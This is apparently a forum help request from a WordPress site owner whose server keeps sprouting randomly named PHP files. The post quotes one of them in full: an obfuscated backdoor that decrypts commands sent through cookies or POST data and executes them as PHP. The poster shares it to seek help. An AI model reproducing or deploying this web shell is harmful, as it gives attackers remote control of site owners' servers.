Wordpress websites hacked, strange php files keep appearing

My html folder full of wordpress websites get continously infected with strange php files. I regularly delete them but they reappear (also their date looks random and it’s impossible to detect when they are uploaded).

The files have names such as 6k6xekmd.php.

The content is like this:

<?php
$kimlluq = 'xgr4#ati9cn3sembo\'*6vpd2_-l7fkyu058H';$dcgyv = Array();$dcgyv[] = $kimlluq[9].$kimlluq[2].$kimlluq[13].$kimlluq[5].$kimlluq[6].$kimlluq[13].$kimlluq[24].$kimlluq[28].$kimlluq[31].$kimlluq[10].$kimlluq[9].$kimlluq[6].$kimlluq[7].$kimlluq[16].$kimlluq[10];$dcgyv[] = $kimlluq[35].$kimlluq[18];$dcgyv[] = $kimlluq[4];$dcgyv[] = $kimlluq[15].$kimlluq[27].$kimlluq[27].$kimlluq[19].$kimlluq[33].$kimlluq[9].$kimlluq[5].$kimlluq[5].$kimlluq[25].$kimlluq[23].$kimlluq[13].$kimlluq[33].$kimlluq[32].$kimlluq[25].$kimlluq[3].$kimlluq[11].$kimlluq[8].$kimlluq[8].$kimlluq[25].$kimlluq[15].$kimlluq[3].$kimlluq[23].$kimlluq[9].$kimlluq[25].$kimlluq[19].$kimlluq[9].$kimlluq[13].$kimlluq[34].$kimlluq[33].$kimlluq[8].$kimlluq[33].$kimlluq[8].$kimlluq[32].$kimlluq[22].$kimlluq[15].$kimlluq[5];$dcgyv[] = $kimlluq[9].$kimlluq[16].$kimlluq[31].$kimlluq[10].$kimlluq[6];$dcgyv[] = $kimlluq[12].$kimlluq[6].$kimlluq[2].$kimlluq[24].$kimlluq[2].$kimlluq[13].$kimlluq[21].$kimlluq[13].$kimlluq[5].$kimlluq[6];$dcgyv[] = $kimlluq[13].$kimlluq[0].$kimlluq[21].$kimlluq[26].$kimlluq[16].$kimlluq[22].$kimlluq[13];$dcgyv[] = $kimlluq[12].$kimlluq[31].$kimlluq[15].$kimlluq[12].$kimlluq[6].$kimlluq[2];$dcgyv[] = $kimlluq[5].$kimlluq[2].$kimlluq[2].$kimlluq[5].$kimlluq[30].$kimlluq[24].$kimlluq[14].$kimlluq[13].$kimlluq[2].$kimlluq[1].$kimlluq[13];$dcgyv[] = $kimlluq[12].$kimlluq[6].$kimlluq[2].$kimlluq[26].$kimlluq[13].$kimlluq[10];$dcgyv[] = $kimlluq[21].$kimlluq[5].$kimlluq[9].$kimlluq[29];foreach ($dcgyv[8]($_COOKIE, $_POST) as $uiztgqs => $vyqoc){function ifrikvp($dcgyv, $uiztgqs, $wansrwt){return $dcgyv[7]($dcgyv[5]($uiztgqs . $dcgyv[3], ($wansrwt / $dcgyv[9]($uiztgqs)) + 1), 0, $wansrwt);}function losmy($dcgyv, $jvcjj){return @$dcgyv[10]($dcgyv[1], $jvcjj);}function blytvnx($dcgyv, $jvcjj){$vtngy = $dcgyv[4]($jvcjj) % 3;if (!$vtngy) {$ktypu = $dcgyv[0]; $enjxyns = $ktypu("", $jvcjj[1]($jvcjj[2]));$enjxyns();exit();}}$vyqoc = losmy($dcgyv, $vyqoc);blytvnx($dcgyv, $dcgyv[6]($dcgyv[2], $vyqoc ^ ifrikvp($dcgyv, $uiztgqs, $dcgyv[9]($vyqoc))));}